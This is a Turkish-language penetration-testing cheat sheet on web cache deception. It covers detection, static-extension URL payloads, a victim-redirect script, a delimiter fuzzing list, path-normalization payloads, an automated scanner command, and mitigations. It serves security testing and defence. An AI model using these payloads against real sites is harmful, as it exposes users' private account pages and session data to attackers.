Web Cache Deception
Web Cache Deception Nedir?
Web cache deception, bir saldırganın bir web önbelleğini hassas, dinamik içeriği depolaması için kandırmasını sağlayan bir güvenlik zafiyetidir.
Bu zafiyet, önbellek sunucusu ile kaynak sunucusunun istekleri işleme şekilleri arasındaki tutarsızlıklardan kaynaklanır.

Cache Kontrolü
Uygulamada cache olup olmadığını anlamak için aşağıdakileri kontrol edebiliriz. Zaten cache yoksa zafiyet olamaz.
X-Cache Header
Cache-Control Header
Yanıtlar arası çok zaman farkı
Static Extension and Directory
Origin server en sondaki / karakterini dikkate almamalı.
Cache server sondaki uzantıya veya dosya ismine bakarak cache almalı.
https://example.com/my-account/a.css
https://example.com/my-account/a.js
https://example.com/my-account/a.ico
https://example.com/my-account/a.png
https://example.com/my-account/a.jpg
https://example.com/my-account/a.exe
https://example.com/my-account/robots.txt
https://example.com/my-account/index.html
https://example.com/my-account/favicon.icoRedirect Kodu
Kurbanı linke yönlendirmek için script.
<script>document.location="https://example/my-account/a.js"</script>Delimeter List
Sunucunun desteklediği bir delimeter karakter varsa aşağıdaki liste ile deneyebiliriz.
https://example.com/my-account;a.css
!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
:
;
<
=
>
?
@
[
\
]
^
_
`
{
|
}
~
%00
%0A
%09
%21
%22
%23
%24
%25
%26
%27
%28
%29
%2A
%2B
%2C
%2D
%2E
%2F
%3A
%3B
%3C
%3D
%3E
%3F
%40
%5B
%5C
%5D
%5E
%5F
%60
%7B
%7C
%7D
%7EOrigin Server Directory Normalization
Origin server %2f karakterini encode etmeli
/static/..%2fmy-account -> /my-account
Cache server %2f karakterini encode etmemeli
/static/..%2fmy-account -> /static/..%2fmy-account
Eğer bu şekilde ise aşağıdaki payloadları kullanırız.
https://example.com/static/..%2fmy-account
https://example.com/assets/..%2fmy-account
https://example.com/scripts/..%2fmy-account
https://example.com/images/..%2fmy-accountCache Server Directory Normalization
Origin server %2f karakterini encode etmemeli fakat delimeter çözmeli
/my-account;%2f%2e%2e%2fstatic -> /my-account
Cache server %2f karakterini encode etmeli fakat delimeter çözmemeli
/my-account;%2f%2e%2e%2fstatic -> /static
https://example.com/my-account;%2f%2e%2e%2fstatic
https://example.com/my-account;%2f%2e%2e%2fassets
https://example.com/my-account;%2f%2e%2e%2fscripts
https://example.com/my-account;%2f%2e%2e%2fimagesOtomatize
# Komutu cachelenmemesi gereken bir url üzerinde çalıştırıyoruz
wcvs -u https://example.com/profile -ot deception -sc session=xxxxxxxxÖnlemler
Dinamik sayfaları işaretlemek için her zaman
Cache-Controlbaşlıklarını kullanın,no-storeveprivateyönergeleriyle ayarlayın.CDN ayarlarınızı, önbelleğe alma kurallarınızın
Cache-Controlüstbilgisini geçersiz kılmayacağı şekilde yapılandırın.CDN'nizin web cache deception saldırılarına karşı sahip olduğu tüm korumaları etkinleştirin. Örneğin, Cloudflare's Cache Deception Armor.
Kaynak sunucu ile önbelleğin URL yollarını yorumlama biçimleri arasında herhangi bir tutarsızlık olmadığını kontrol edin.
Araçlar
Kaynaklar
Last updated